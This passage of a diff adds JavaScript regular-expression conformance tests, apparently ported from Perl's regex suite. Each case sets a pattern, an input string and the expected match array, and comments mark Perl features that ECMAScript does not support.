+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(128);
+pattern = /ab{0,1}?bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(129);
+pattern = /ab??c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(130);
+pattern = /ab{0,1}?c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(131);
+pattern = /^abc$/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(132);
+pattern = /^abc/i;
+string = 'ABCC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(133);
+pattern = /abc$/i;
+string = 'AABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(134);
+pattern = /^/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(135);
+pattern = /$/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('');
+addThis();
+
+status = inSection(136);
+pattern = /a.c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(137);
+pattern = /a.c/i;
+string = 'AXC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AXC');
+addThis();
+
+status = inSection(138);
+pattern = /a.*?c/i;
+string = 'AXYZC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AXYZC');
+addThis();
+
+status = inSection(139);
+pattern = /a[bc]d/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABD');
+addThis();
+
+status = inSection(140);
+pattern = /a[b-d]e/i;
+string = 'ACE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ACE');
+addThis();
+
+status = inSection(141);
+pattern = /a[b-d]/i;
+string = 'AAC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AC');
+addThis();
+
+status = inSection(142);
+pattern = /a[-b]/i;
+string = 'A-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A-');
+addThis();
+
+status = inSection(143);
+pattern = /a[b-]/i;
+string = 'A-';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A-');
+addThis();
+
+status = inSection(144);
+pattern = /a]/i;
+string = 'A]';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A]');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(145);
+ pattern = /a[]]b/i;
+ string = 'A]B';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('A]B');
+ addThis();
+*/
+
+status = inSection(146);
+pattern = /a[^bc]d/i;
+string = 'AED';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AED');
+addThis();
+
+status = inSection(147);
+pattern = /a[^-b]c/i;
+string = 'ADC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ADC');
+addThis();
+
+/* Perl supports ] & ^] inside a [], ECMA does not
+ status = inSection(148);
+ pattern = /a[^]b]c/i;
+ string = 'ADC';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ADC');
+ addThis();
+*/
+
+status = inSection(149);
+pattern = /ab|cd/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(150);
+pattern = /ab|cd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(151);
+pattern = /()ef/i;
+string = 'DEF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', '');
+addThis();
+
+status = inSection(152);
+pattern = /a\(b/i;
+string = 'A(B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A(B');
+addThis();
+
+status = inSection(153);
+pattern = /a\(*b/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(154);
+pattern = /a\(*b/i;
+string = 'A((B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A((B');
+addThis();
+
+status = inSection(155);
+pattern = /a\\b/i;
+string = 'A\\B';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A\\B');
+addThis();
+
+status = inSection(156);
+pattern = /((a))/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A');
+addThis();
+
+status = inSection(157);
+pattern = /(a)b(c)/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'A', 'C');
+addThis();
+
+status = inSection(158);
+pattern = /a+b+c/i;
+string = 'AABBABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(159);
+pattern = /a{1,}b{1,}c/i;
+string = 'AABBABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(160);
+pattern = /a.+?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(161);
+pattern = /a.*?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(162);
+pattern = /a.{0,5}?c/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC');
+addThis();
+
+status = inSection(163);
+pattern = /(a+|b)*/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(164);
+pattern = /(a+|b){0,}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(165);
+pattern = /(a+|b)+/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(166);
+pattern = /(a+|b){1,}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'B');
+addThis();
+
+status = inSection(167);
+pattern = /(a+|b)?/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(168);
+pattern = /(a+|b){0,1}/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(169);
+pattern = /(a+|b){0,1}?/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', undefined);
+addThis();
+
+status = inSection(170);
+pattern = /[^ab]*/i;
+string = 'CDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('CDE');
+addThis();
+
+status = inSection(171);
+pattern = /([abc])*d/i;
+string = 'ABBBCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABBBCD', 'C');
+addThis();
+
+status = inSection(172);
+pattern = /([abc])*bcd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'A');
+addThis();
+
+status = inSection(173);
+pattern = /a|b|c|d|e/i;
+string = 'E';
+actualmatch = string.match(pattern);
+expectedmatch = Array('E');
+addThis();
+
+status = inSection(174);
+pattern = /(a|b|c|d|e)f/i;
+string = 'EF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', 'E');
+addThis();
+
+status = inSection(175);
+pattern = /abcd*efg/i;
+string = 'ABCDEFG';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCDEFG');
+addThis();
+
+status = inSection(176);
+pattern = /ab*/i;
+string = 'XABYABBBZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB');
+addThis();
+
+status = inSection(177);
+pattern = /ab*/i;
+string = 'XAYABBBZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A');
+addThis();
+
+status = inSection(178);
+pattern = /(ab|cd)e/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('CDE', 'CD');
+addThis();
+
+status = inSection(179);
+pattern = /[abhgefdc]ij/i;
+string = 'HIJ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('HIJ');
+addThis();
+
+status = inSection(180);
+pattern = /(abc|)ef/i;
+string = 'ABCDEF';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EF', '');
+addThis();
+
+status = inSection(181);
+pattern = /(a|b)c*d/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('BCD', 'B');
+addThis();
+
+status = inSection(182);
+pattern = /(ab|ab*)bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'A');
+addThis();
+
+status = inSection(183);
+pattern = /a([bc]*)c*/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'BC');
+addThis();
+
+status = inSection(184);
+pattern = /a([bc]*)(c*d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC', 'D');
+addThis();
+
+status = inSection(185);
+pattern = /a([bc]+)(c*d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC', 'D');
+addThis();
+
+status = inSection(186);
+pattern = /a([bc]*)(c+d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'B', 'CD');
+addThis();
+
+status = inSection(187);
+pattern = /a[bcd]*dcdcde/i;
+string = 'ADCDCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ADCDCDE');
+addThis();
+
+status = inSection(188);
+pattern = /(ab|a)b*c/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABC', 'AB');
+addThis();
+
+status = inSection(189);
+pattern = /((a)(b)c)(d)/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'ABC', 'A', 'B', 'D');
+addThis();
+
+status = inSection(190);
+pattern = /[a-zA-Z_][a-zA-Z0-9_]*/i;
+string = 'ALPHA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ALPHA');
+addThis();
+
+status = inSection(191);
+pattern = /^a(bc+|b[eh])g|.h$/i;
+string = 'ABH';
+actualmatch = string.match(pattern);
+expectedmatch = Array('BH', undefined);
+addThis();
+
+status = inSection(192);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'EFFGZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EFFGZ', 'EFFGZ', undefined);
+addThis();
+
+status = inSection(193);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'IJ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('IJ', 'IJ', 'J');
+addThis();
+
+status = inSection(194);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'REFFGZ';
+actualmatch = string.match(pattern);
+expectedmatch = Array('EFFGZ', 'EFFGZ', undefined);
+addThis();
+
+status = inSection(195);
+pattern = /((((((((((a))))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(196);
+pattern = /((((((((((a))))))))))\10/i;
+string = 'AA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(197);
+pattern = /((((((((((a))))))))))/i;
+string = 'A!';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(198);
+pattern = /(((((((((a)))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A', 'A');
+addThis();
+
+status = inSection(199);
+pattern = /(?:(?:(?:(?:(?:(?:(?:(?:(?:(a))))))))))/i;
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', 'A');
+addThis();
+
+status = inSection(200);
+pattern = /(?:(?:(?:(?:(?:(?:(?:(?:(?:(a|b|c))))))))))/i;
+string = 'C';
+actualmatch = string.match(pattern);
+expectedmatch = Array('C', 'C');
+addThis();
+
+status = inSection(201);
+pattern = /(.*)c(.*)/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCDE', 'AB', 'DE');
+addThis();
+
+status = inSection(202);
+pattern = /abcd/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD');
+addThis();
+
+status = inSection(203);
+pattern = /a(bc)d/i;
+string = 'ABCD';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCD', 'BC');
+addThis();
+
+status = inSection(204);
+pattern = /a[-]?c/i;
+string = 'AC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AC');
+addThis();
+
+status = inSection(205);
+pattern = /(abc)\1/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCABC', 'ABC');
+addThis();
+
+status = inSection(206);
+pattern = /([a-c]*)\1/i;
+string = 'ABCABC';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ABCABC', 'ABC');
+addThis();
+
+status = inSection(207);
+pattern = /a(?!b)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(208);
+pattern = /a(?=d)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(209);
+pattern = /a(?=c|d)./;
+string = 'abad';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ad');
+addThis();
+
+status = inSection(210);
+pattern = /a(?:b|c|d)(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(211);
+pattern = /a(?:b|c|d)*(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(212);
+pattern = /a(?:b|c|d)+?(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'e');
+addThis();
+
+status = inSection(213);
+pattern = /a(?:b|c|d)+?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acd', 'd');
+addThis();
+
+status = inSection(214);
+pattern = /a(?:b|c|d)+(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(215);
+pattern = /a(?:b|c|d){2}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdb', 'b');
+addThis();
+
+status = inSection(216);
+pattern = /a(?:b|c|d){4,5}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(217);
+pattern = /a(?:b|c|d){4,5}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcd', 'd');
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents
+status = inSection(218);
+pattern = /((foo)|(bar))*/;
+string = 'foobar';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('foobar', 'bar', 'foo', 'bar');
+expectedmatch = Array('foobar', 'bar', undefined, 'bar');
+addThis();
+
+status = inSection(219);
+pattern = /a(?:b|c|d){6,7}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(220);
+pattern = /a(?:b|c|d){6,7}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(221);
+pattern = /a(?:b|c|d){5,6}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(222);
+pattern = /a(?:b|c|d){5,6}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(223);
+pattern = /a(?:b|c|d){5,7}(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdbe', 'e');
+addThis();
+
+status = inSection(224);
+pattern = /a(?:b|c|d){5,7}?(.)/;
+string = 'acdbcdbe';
+actualmatch = string.match(pattern);
+expectedmatch = Array('acdbcdb', 'b');
+addThis();
+
+status = inSection(225);
+pattern = /a(?:b|(c|e){1,2}?|d)+?(.)/;
+string = 'ace';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ace', 'c', 'e');
+addThis();
+
+status = inSection(226);
+pattern = /^(.+)?B/;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AB', 'A');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(227);
+pattern = /^([^a-z])|(\^)$/;
+string = '.';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('.', '.', '');
+expectedmatch = Array('.', '.', undefined);
+addThis();
+
+status = inSection(228);
+pattern = /^[<>]&/;
+string = '<&OUT';
+actualmatch = string.match(pattern);
+expectedmatch = Array('<&');
+addThis();
+
+/* Can't refer to a capture before it's encountered & completed
+ status = inSection(229);
+ pattern = /^(a\1?){4}$/;
+ string = 'aaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaaaaaa', 'aaaa');
+ addThis();
+
+ status = inSection(230);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaaaaaaaa', 'aaaa');
+ addThis();
+*/
+
+status = inSection(231);
+pattern = /((a{4})+)/;
+string = 'aaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa');
+addThis();
+
+status = inSection(232);
+pattern = /(((aa){2})+)/;
+string = 'aaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa', 'aa');
+addThis();
+
+status = inSection(233);
+pattern = /(((a{2}){2})+)/;
+string = 'aaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aaaaaaaa', 'aaaaaaaa', 'aaaa', 'aa');
+addThis();
+
+status = inSection(234);
+pattern = /(?:(f)(o)(o)|(b)(a)(r))*/;
+string = 'foobar';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('foobar', 'f', 'o', 'o', 'b', 'a', 'r');
+expectedmatch = Array('foobar', undefined, undefined, undefined, 'b', 'a', 'r');
+addThis();
+
+/* ECMA supports (?: (?= and (?! but doesn't support (?< etc.
+ status = inSection(235);
+ pattern = /(?<=a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(236);
+ pattern = /(?<!c)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(237);
+ pattern = /(?<!c)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(238);
+ pattern = /(?<!c)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+*/
+
+status = inSection(239);
+pattern = /(?:..)*a/;
+string = 'aba';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aba');
+addThis();
+
+status = inSection(240);
+pattern = /(?:..)*?a/;
+string = 'aba';
+actualmatch = string.match(pattern);
+expectedmatch = Array('a');
+addThis();
+
+/*
+ * MODIFIED - ECMA has different rules for paren contents. Note
+ * this regexp has two non-capturing parens, and one capturing
+ *
+ * The issue: shouldn't the match be ['ab', undefined]? Because the
+ * '\1' matches the undefined value of the second iteration of the '*'
+ * (in which the 'b' part of the '|' matches). But Perl wants ['ab','b'].
+ *
+ * Answer: waldemar@netscape.com:
+ *
+ * The correct answer is ['ab', undefined]. Perl doesn't match
+ * ECMAScript here, and I'd say that Perl is wrong in this case.
+ */
+status = inSection(241);
+pattern = /^(?:b|a(?=(.)))*\1/;
+string = 'abc';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('ab', 'b');
+expectedmatch = Array('ab', undefined);
+addThis();
+
+status = inSection(242);
+pattern = /^(){3,5}/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = Array('', '');
+addThis();
+
+status = inSection(243);
+pattern = /^(a+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a');
+addThis();
+
+status = inSection(244);
+pattern = /^((a|b)+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a', 'a');
+addThis();
+
+status = inSection(245);
+pattern = /^((a|bc)+)*ax/;
+string = 'aax';
+actualmatch = string.match(pattern);
+expectedmatch = Array('aax', 'a', 'a');
+addThis();
+
+/* MODIFIED - ECMA has different rules for paren contents */
+status = inSection(246);
+pattern = /(a|x)*ab/;
+string = 'cab';
+actualmatch = string.match(pattern);
+//expectedmatch = Array('ab', '');
+expectedmatch = Array('ab', undefined);
+addThis();
+
+status = inSection(247);
+pattern = /(a)*ab/;
+string = 'cab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab', undefined);
+addThis();
+
+/* ECMA doesn't support (?imsx or (?-imsx
+ status = inSection(248);
+ pattern = /(?:(?i)a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(249);
+ pattern = /((?i)a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(250);
+ pattern = /(?:(?i)a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab');
+ addThis();
+
+ status = inSection(251);
+ pattern = /((?i)a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab', 'A');
+ addThis();
+
+ status = inSection(252);
+ pattern = /(?i:a)b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(253);
+ pattern = /((?i:a))b/;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(254);
+ pattern = /(?i:a)b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab');
+ addThis();
+
+ status = inSection(255);
+ pattern = /((?i:a))b/;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('Ab', 'A');
+ addThis();
+
+ status = inSection(256);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(257);
+ pattern = /((?-i)a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(258);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(259);
+ pattern = /((?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(260);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(261);
+ pattern = /((?-i)a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(262);
+ pattern = /(?-i:a)b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab');
+ addThis();
+
+ status = inSection(263);
+ pattern = /((?-i:a))b/i;
+ string = 'ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('ab', 'a');
+ addThis();
+
+ status = inSection(264);
+ pattern = /(?-i:a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(265);
+ pattern = /((?-i:a))b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(266);
+ pattern = /(?-i:a)b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB');
+ addThis();
+
+ status = inSection(267);
+ pattern = /((?-i:a))b/i;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aB', 'a');
+ addThis();
+
+ status = inSection(268);
+ pattern = /((?s-i:a.))b/i;
+ string = 'a\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a\nB', 'a\n');
+ addThis();
+*/
+
+status = inSection(269);
+pattern = /(?:c|d)(?:)(?:a(?:)(?:b)(?:b(?:))(?:b(?:)(?:b)))/;
+string = 'cabbbb';
+actualmatch = string.match(pattern);
+expectedmatch = Array('cabbbb');
+addThis();
+
+status = inSection(270);
+pattern = /(?:c|d)(?:)(?:aaaaaaaa(?:)(?:bbbbbbbb)(?:bbbbbbbb(?:))(?:bbbbbbbb(?:)(?:bbbbbbbb)))/;
+string = 'caaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
+actualmatch = string.match(pattern);
+expectedmatch = Array('caaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb');
+addThis();
+
+status = inSection(271);
+pattern = /(ab)\d\1/i;
+string = 'Ab4ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('Ab4ab', 'Ab');
+addThis();
+
+status = inSection(272);
+pattern = /(ab)\d\1/i;
+string = 'ab4Ab';
+actualmatch = string.match(pattern);
+expectedmatch = Array('ab4Ab', 'ab');
+addThis();
+
+status = inSection(273);
+pattern = /foo\w*\d{4}baz/;
+string = 'foobar1234baz';
+actualmatch = string.match(pattern);
+expectedmatch = Array('foobar1234baz');
+addThis();
+
+status = inSection(274);
+pattern = /x(~~)*(?:(?:F)?)?/;
+string = 'x~~';
+actualmatch = string.match(pattern);
+expectedmatch = Array('x~~', '~~');
+addThis();
+
+/* Perl supports (?# but JS doesn't
+ status = inSection(275);
+ pattern = /^a(?#xxx){3}c/;
+ string = 'aaac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaac');
+ addThis();
+*/
+
+/* ECMA doesn't support (?< etc
+ status = inSection(276);
+ pattern = /(?<![cd])[ab]/;
+ string = 'dbaacb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(277);
+ pattern = /(?<!(c|d))[ab]/;
+ string = 'dbaacb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(278);
+ pattern = /(?<!cd)[ab]/;
+ string = 'cdaccb';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(279);
+ pattern = /((?s)^a(.))((?m)^b$)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a\nb', 'a\n', '\n', 'b');
+ addThis();
+
+ status = inSection(280);
+ pattern = /((?m)^b$)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(281);
+ pattern = /(?m)^b/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b');
+ addThis();
+
+ status = inSection(282);
+ pattern = /(?m)^(b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(283);
+ pattern = /((?m)^b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+
+ status = inSection(284);
+ pattern = /\n((?m)^b)/;
+ string = 'a\nb\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nb', 'b');
+ addThis();
+
+ status = inSection(285);
+ pattern = /((?s).)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nc', '\n');
+ addThis();
+
+ status = inSection(286);
+ pattern = /((?s).)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('\nc', '\n');
+ addThis();
+
+ status = inSection(287);
+ pattern = /((?s)b.)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b\nc', 'b\n');
+ addThis();
+
+ status = inSection(288);
+ pattern = /((?s)b.)c(?!.)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b\nc', 'b\n');
+ addThis();
+
+ status = inSection(289);
+ pattern = /((?m)^b)/;
+ string = 'a\nb\nc\n';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('b', 'b');
+ addThis();
+*/
+
+/* ECMA doesn't support (?(condition)
+ status = inSection(290);
+ pattern = /(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
+ status = inSection(291);
+ pattern = /(x)?(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('a');
+ addThis();
+
